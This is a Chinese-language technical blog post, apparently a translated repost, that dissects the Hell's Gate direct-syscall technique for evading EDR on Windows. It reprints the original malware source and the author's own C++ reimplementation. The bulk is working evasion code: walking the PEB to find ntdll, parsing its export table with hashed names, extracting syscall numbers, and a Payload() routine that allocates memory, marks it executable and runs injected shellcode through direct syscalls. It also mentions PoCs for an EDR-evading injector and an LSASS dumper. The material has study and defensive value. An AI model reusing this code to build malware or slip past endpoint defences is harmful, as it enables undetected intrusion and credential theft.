Ezekiels Wheel (Hells Gate Analysis)
本文是对_Hells Gate_[1] 恶意代码的技术分析。该恶意代码包含一种在 Windows 操作系统上执行系统调用的技术,用于规避 EDR 检测。
在完成分析后,我使用 C++ 开发了自己的实现版本。该版本利用ntdll.dll 中现有的系统调用指令和自定义哈希技术,来规避现代检测方法对此类技术的识别。
虽然该技术还可以进一步优化,但考虑到时间因素,我开发了两个概念验证 (PoC):
-
2024 年,一个能够规避现代 EDR 的基础 shellcode 注入器 -
2024 年,一个能够规避 Windows Defender 的 LSASS 转储工具
LSASS 转储工具可以进一步优化以规避 EDR,这部分就留给读者自行探索。
目录
-
免责声明 -
恶意代码分析 -
获取 NTDLL 模块入口 -
获取 NTDLL 的导出地址表 (EAT) -
GetVxTableEntry() 函数分析 -
Payload() 函数分析 -
HellsGate 技术分析 -
HellsDescent 技术分析 -
概念验证 | GTFO (Ezekiels Wheel) -
参考资料
免责声明
版权所有 2024 Milton Valencia
恶意代码分析
我从am0nsec[2] 下载了该技术的源代码。我想从 main 函数开始,逐行分析这段代码。
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;
Payload(&Table);
return 0x00;
}
从代码分析来看,第一步是获取 NTDLL 模块。
获取 NTDLL 模块入口
为了更好地理解这个过程是如何实现的,我编写了以下概念验证代码:
intmain()
{
PTEB pTeb = GetThreadEnvironmentBlock();
PPEB pPeb = pTEB->ProcessEnvironmentBlock;
std::cout << "[*] Testing on OS Version: " << pPeb->OSMajorVersion << std::endl;
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPEB->LoaderData->InMemoryOrderModuleList.Flink - 0x10);
std::cout << "[*] pLdrDataEntry: 0x" << std::hex << (uint64_t)pLdrDataEntry << std::endl;
getchar();
return0;
}
为了简洁起见,我们只会在需要时讨论相关的数据结构。执行程序后,我们看到以下输出,让我们来分析一下这些数据的含义:
C:UsersdeveloperDesktop>hg.exe
[*] Testing on OS Version: 10
[*] pLdrDataEntry: 0x26f94d06020
如果我们使用 WinDbg 调试,可以通过!process 0 0 hg.exe
命令来获取PEB
的信息。这里我们主要关注InMemoryOrderModuleList
这个结构。
可以看到,这个地址和我们程序输出的地址非常接近,如果从这个地址减去0x10,就能得到完全相同的值。
乍看之下这些信息可能不太直观。但实际上,每个列表项都被封装在一个LDR_DATA_TABLE_ENTRY
结构中。我们可以通过转储FLINK
指针指向的结构来获取更多上下文信息。
从上面的输出可以看出,这确实是 NTDLL 模块的入口。代码中的主要步骤如下:
-
使用 GS 寄存器获取 TEB 指针 -
通过 TEB 获取 PEB 指针 -
使用 PEB 获取 PEB_LDR_DATA 结构指针 -
通过 PEB_LDR_DATA 结构访问 InMemoryOrderModuleList
由于我们无法保证ntdll.dll
总是会被加载在偏移量-0x10
的位置,让我们基于这些新发现实现一个使用双向链表遍历的概念验证代码。
intmain()
{
PTEB pTeb = NULL;
PPEB pPeb = NULL;
PLIST_ENTRY pEntry = NULL;
PLIST_ENTRY pHeadEntry = NULL;
PPEB_LDR_DATA pLdrData = NULL;
PLDR_DATA_TABLE_ENTRY pLdrEntry = NULL;
PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = NULL;
/* Get the TEB */
pTeb = GetThreadEnvironmentBlock();
/* Get the PEB */
pPeb = pTeb->ProcessEnvironmentBlock;
/* OS Version Detection Omitted */
std::cout << "[*] Testing on OS Version: " << pPeb->OSMajorVersion << std::endl;
/* Obtain a pointer to the structure that contains information about the loaded modules for a given process */
pLdrData = pPeb->LoaderData;
/* Get the pointer to the InMemoryOrderModuleList which is a doubly-linked list that contains
the loaded modules for the process */
pHeadEntry = &pLdrData->InMemoryOrderModuleList;
/* Iterate over the InMemoryOrderModuleList */
std::wcout << L"nInMemoryOrderModuleListn" << std::endl;
std::wcout << L"tBasetttModulen" << std::endl;
for (pEntry = pHeadEntry->Flink; pEntry != pHeadEntry; pEntry = pEntry->Flink)
{
pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pEntry;
std::wcout << L"t"
<< std::hex << pLdrDataTableEntry->DllBase << L"t"
<< pLdrDataTableEntry->FullDllName.Buffer
<< std::endl;
}
getchar();
return0;
}
从结果可以看到我们的概念验证代码运行成功:
然而,我们仍需要让它返回原始概念验证代码中的 LIST_ENTRY 指针。因此,让我们再次修改代码,创建一个动态获取入口点的单独函数。
在编写过程中,我发现之前的概念验证代码在解析每个入口点时存在问题。要正确获取 LDR_DATA_TABLE_ENTRY,我们需要从找到的模块地址减去 0x10,因为 Flink 地址并不是结构体的第一个成员。
PLDR_DATA_TABLE_ENTRY GetNtdllTableEntry()
{
PTEBpTeb= NULL;
PPEBpPeb= NULL;
DWORDdwModuleHash=0x00;
DWORDdwDllNameSize=0x00;
DWORDdwRorOperations=0x00;
PLIST_ENTRYpEntry= NULL;
PLIST_ENTRYpHeadEntry= NULL;
PPEB_LDR_DATApLdrData= NULL;
PLDR_DATA_TABLE_ENTRYpLdrEntry= NULL;
PLDR_DATA_TABLE_ENTRYpLdrDataTableEntry= NULL;
/* Get the TEB */
pTeb = GetThreadEnvironmentBlock();
/* Get the PEB */
pPeb = pTeb->ProcessEnvironmentBlock;
/* Obtain a pointer to the structure that contains information about the loaded modules for a given process */
pLdrData = pPeb->LoaderData;
/* Get the pointer to the InMemoryOrderModuleList which is a doubly-linked list that contains
the loaded modules for the process */
pHeadEntry = &pLdrData->InMemoryOrderModuleList;
/* Iterate over the InMemoryOrderModuleList and identify NTDLL */
for (pEntry = pHeadEntry->Flink; pEntry != pHeadEntry; pEntry = pEntry->Flink)
{
/* If I understood correctly we must subtract 16 from the ntdll.dll entry in the InMemoryModuleList. This
is neccessary because the Flink is not the first member of the LDR_DATA_TABLE_ENTRY structure, so when
subtracting 0x10 we get the start of the structure for ntdll.dll */
pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((std::int64_t)pEntry-0x10);
/* Calculate a hash for the given DLL name */
dwDllNameSize = (pLdrDataTableEntry->BaseDllName.Length) / sizeof(wchar_t);
dwRorOperations = 0x00;
dwModuleHash = 0x00;
/* Hash the DLL name for identification */
for (inti=0; i < dwDllNameSize; i++)
{
dwModuleHash = dwModuleHash + ((uint32_t)pLdrDataTableEntry->BaseDllName.Buffer[i]);
if (dwRorOperations < (dwDllNameSize - 1)) {
dwModuleHash = _rotr(dwModuleHash, 0xd);
}
dwRorOperations++;
}
std::wprintf(L"[*] Found %ws (HASH: 0x%lx, ENTRY: 0x%lx)n", pLdrDataTableEntry->BaseDllName.Buffer,
dwModuleHash,
(std::int64_t)pLdrDataTableEntry);
if (dwModuleHash == NTDLL_HASH)
{
std::wprintf(L"[+] Located ntdll: 0x%xn", pLdrDataTableEntry);
break;
}
}
return pLdrDataTableEntry;
}
获取 NTDLL 的导出地址表(EAT)
接下来我们需要获取 NTDLL 的导出地址表(Export Address Table,EAT)。
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return0x01;
现在让我们来看看这个函数的源代码,这是由 Hells Gate 的作者创建的。
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
让我们在 WinDbg 中仔细分析这个过程。
获取 DataDirectory 后,我们可以从 DataDirectory 的第一个索引中获取导出地址表(Export Address Table)的虚拟地址(VirtualAddress)。我们可以使用!dh ntdll.dll -f
命令来验证这一点。
接下来让我们重新实现这个功能。
VOID GetExportAddressTable(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory)
{
PIMAGE_DOS_HEADERpImageDosHeader= (PIMAGE_DOS_HEADER)pModuleBase;
PIMAGE_NT_HEADERSpImageNtHeaders= NULL;
/* Verify that the DOS header is valid */
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
std::wcout << L"[-] Failed to detect DOS headern";
return;
}
/* Get a pointer to the IMAGE_NT_HEADER structure of the module (ntdll.dll) */
pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
std::wcout << L"[-] Failed to obtain pointer to IMAGE_NT_HEADERSn";
return;
}
/* Obtain the address of the EAT */
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return;
}
理解 GetVxTableEntry() 函数
接下来我们看到声明了一个VX_TABLE
结构体,并调用了GetVxTableEntry()
函数。
VX_TABLETable= { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return0x1
让我们开始分析GetVxTableEntry()
函数。首先看这三行代码
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry)
{
PDWORDpdwAddressOfFunctions= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORDpdwAddressOfNames= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORDpwAddressOfNameOrdinales= (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
虽然这个结构体并不是开源的,但我们可以在ReactOS[3] 和malware.in[4] 找到其定义。我们可以使用 WinDbg 手动验证这个结构体的正确性。
typedefstruct_IMAGE_EXPORT_DIRECTORY
{
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
PDWORD *AddressOfFunctions;
PDWORD *AddressOfNames;
PWORD *AddressOfNameOrdinals;
}
IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
利用这个结构体,我们可以开始分析恶意软件是如何使用它的。
接下来我们看到一个相当复杂的 for 循环。
for (WORDcx=0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHARpczFunctionName= (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOIDpFunctionAddress= (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
}
}
让我们分析前几行代码。
-
首先,我们看到代码在遍历 IMAGE_EXPORT_DIRECTORY 中的名称数量 ( for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
) -
然后,我们遍历每个函数名称,就像我们在 WinDbg 中看到的那样 PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
-
接下来,我们获取之前看到的函数地址 PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
如果我们在概念验证代码中重新实现这一部分,我们会看到以下结果:
下一行是一个if
条件语句。有趣的是,我们看到了一个新函数djb2()
的引入。
-
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
此外,我们再次看到了之前设置的 dwHash。从我的角度来看,这似乎并不是必需的。我们可以使用任何其他哈希函数...但目前我会保持这个函数的设计不变。
接下来的代码块相当"庞大",我们看到一些检查,然后我们最终寻找操作码0x4c、0x8b、0xd1、0xb8、0x00 和 0x00
。
pVxTableEntry->pAddress = pFunctionAddress;
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
如果我们在sickle
中查看这段代码,确实可以看到这是mov r10, rcx
指令。根据输出结果,我们可能只需要使用0x4c、0x8b 和 0xd1
这三个操作码。
┌──(wetw0rk㉿kali)-[/opt/Sickle/src]
└─$ python3 sickle.py -m asm_shell -f c
[*] ASM Shell loaded for x64 architecture
sickle > d 4c8bd1b80000
4c8bd1 -> mov r10, rcx
让我们再次更新我们的概念验证代码。
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry)
{
PDWORDpdwAddressOfFunctions= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORDpdwAddressOfNames= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORDpwAddressOfNameOrdinales= (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
WORDcx=0x00;
WORDcw=0x00;
PCHARpczFunctionName= NULL;
PVOIDpFunctionAddress= NULL;
for (cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++)
{
pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
/* We found the target function */
if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
while (TRUE) {
printf("[*] Found target function: %s (0x%p)n", pczFunctionName, pFunctionAddress);
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
printf("[+] Syscall found @{0x%p}n", (PVOID)((intptr_t)pFunctionAddress + cw));
getchar();
}
cw++;
}
}
}
return TRUE;
}
我们可以看到成功定位到了系统调用指令序列。
最后,当我们定位到这个字节序列/指令序列时,我们将系统调用号写入到VX_TABLE
结构体中。
BYTEhigh= *((PBYTE)pFunctionAddress + 5 + cw);
BYTElow= *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
虽然我们不太确定为什么要以这种方式存储系统调用号 (也许我们可以重新实现它),但是通过 WinDBG 可以看到,当我们读取这个值时,过程还是比较直观的。
至此,我们已经实现了这个函数的自定义版本,以便理解其底层运作机制。
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry)
{
PDWORDpdwAddressOfFunctions= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORDpdwAddressOfNames= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORDpwAddressOfNameOrdinales= (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
BYTEhigh=0x00;
BYTElow=0x00;
WORDcx=0x00;
WORDcw=0x00;
PCHARpczFunctionName= NULL;
PVOIDpFunctionAddress= NULL;
for (cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++)
{
pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
/* We found the target function */
if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
/* Quick and dirty fix in case the function has been hooked */
while (TRUE) {
/* Check if a syscall instruction has been reached, if so we are too deep into the function */
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
/* Check if a ret instruction has been reached, if so we read to deep into the function */
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
high = *((PBYTE)pFunctionAddress + 5 + cw);
low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
printf("[*] %s syscall start found @{0x%p}n", pczFunctionName, (PVOID)((intptr_t)pFunctionAddress + cw));
printf("t[*] High: 0x%xn", high);
printf("t[*] Low: 0x%xn", low);
printf("t[*] Syscall: 0x%xn", pVxTableEntry->wSystemCall);
break;
}
cw++;
}
}
}
return TRUE;
}
接下来我们可以介绍 main 函数的其余部分。
vxTable.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtAllocateVirtualMemory))
return0x01;
vxTable.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtCreateThreadEx))
return0x1;
vxTable.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtProtectVirtualMemory))
return0x1;
vxTable.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtWaitForSingleObject))
return0x1;
理解 Payload() 函数
最后,我们来分析main()
函数中的最后一个函数调用。
Payload(&Table);
我们可以看到这是作者实现的另一个自定义函数。此外,我们还看到了三个额外的自定义函数:HellsGate
、HellsDescent
和VxMoveMemory
。
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUSstatus=0x00000000;
char shellcode[] = "x90x90x90x90xccxccxccxccxc3";
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return TRUE;
}
理解 HellsGate
我们可以先忽略VxMoveMemory
的底层操作,因为它只是memcpy()
的自定义实现。接下来我们开始分析第一个调用 - HellsGate 的底层操作。
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
让我们在这个调用之前设置一个DebugBreak();
断点。
DebugBreak();
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
在 WinDbg 中运行后,我们可以看到即将进入 HellsGate 调用。
进入后,我们可以看到将要执行动态解析的系统调用。
理解 HellsDescent
此时,我们的汇编程序存根在二进制文件的.data
段中保存了NtAllocateVirtualMemory
的系统调用号。下一步是调用 HellsDescent,在这里我们实际执行系统调用。
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
当我们进入 HellsDescent 时,可以观察到 RCX 被移动到 R10 寄存器。通常在进行函数调用时,参数传递的顺序是RCX、RDX、R8、R9,额外的参数则存储在栈偏移量 0x20 的位置
。查看NtAllocateMemory()[5] 的函数原型可以发现,除非 RCX 是指向对象的指针,否则这些参数无法全部存储在 RCX 寄存器中。
__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
);
通过查看寄存器状态可以进一步确认这一点。
至此,我们对 HellsGate 的工作原理有了清晰的认识
-
解析 InMemoryOrderModuleList 并获取 NTDLL 的基地址 -
获取 NTDLL 的导出地址表 (EAT) 地址 -
解析 EAT 以搜索目标系统调用 -
执行系统调用 -
完成目标
PoC | GTFO (Ezekiels Wheel)
在了解了 Hell's Gate 的内部机制后,我们可以利用这些新获得的知识编写自己的实现。虽然 Ezekiels Wheel 针对免杀进行了优化,但重要的是要明白,如果不理解 Windows 系统调用的基本原理,这一切都是不可能实现的。
Ezekiels Wheel 的改进如下:
-
动态系统调用搜索,我们不依赖代码中硬编码的系统调用指令 -
代码重用,我们利用现有的 ntdll.dll 系统调用,使 EDR 认为这些操作是正常的 -
在搜索函数例程时重新实现了自己的哈希技术 -
我们给它起了一个很酷的名字
以西结书 10:10至于轮的形状,四轮都是一个样式,好像轮中套轮。
参考资料
http://malwareid.in/unpack/unpacking-basics/export-address-table-and-dll-hijacking
https://doxygen.reactos.org/de/d20/struct__IMAGE__EXPORT__DIRECTORY.html
https://learn.microsoft.com/en-us/windows/win32/api/ntdef/nf-ntdef-containing_record
https://davidesnotes.com/articles/1/?page=1#
https://gist.github.com/Spl3en/9c0ea329bb7878df9b9b
https://redops.at/en/blog/exploring-hells-gate
http://www.rohitab.com/discuss/topic/42191-c-peb-ldr-inmemoryordermodulelist-flink-dllbase-dont-get-the-good-address/
https://www.vergiliusproject.com/
https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/
https://www.youtube.com/watch?v=elA_eiqWefw&t=2s
参考资料
Hells Gate:https://github.com/am0nsec/HellsGate/blob/master/hells-gate.pdf
[2]am0nsec:https://github.com/am0nsec/HellsGate
[3]ReactOS:https://doxygen.reactos.org/de/d20/struct__IMAGE__EXPORT__DIRECTORY.html
[4]malware.in:http://malwareid.in/unpack/unpacking-basics/export-address-table-and-dll-hijacking
[5]NtAllocateMemory():https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
原文始发于微信公众号(securitainment):Ezekiels Wheel (Hells Gate 技术分析)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论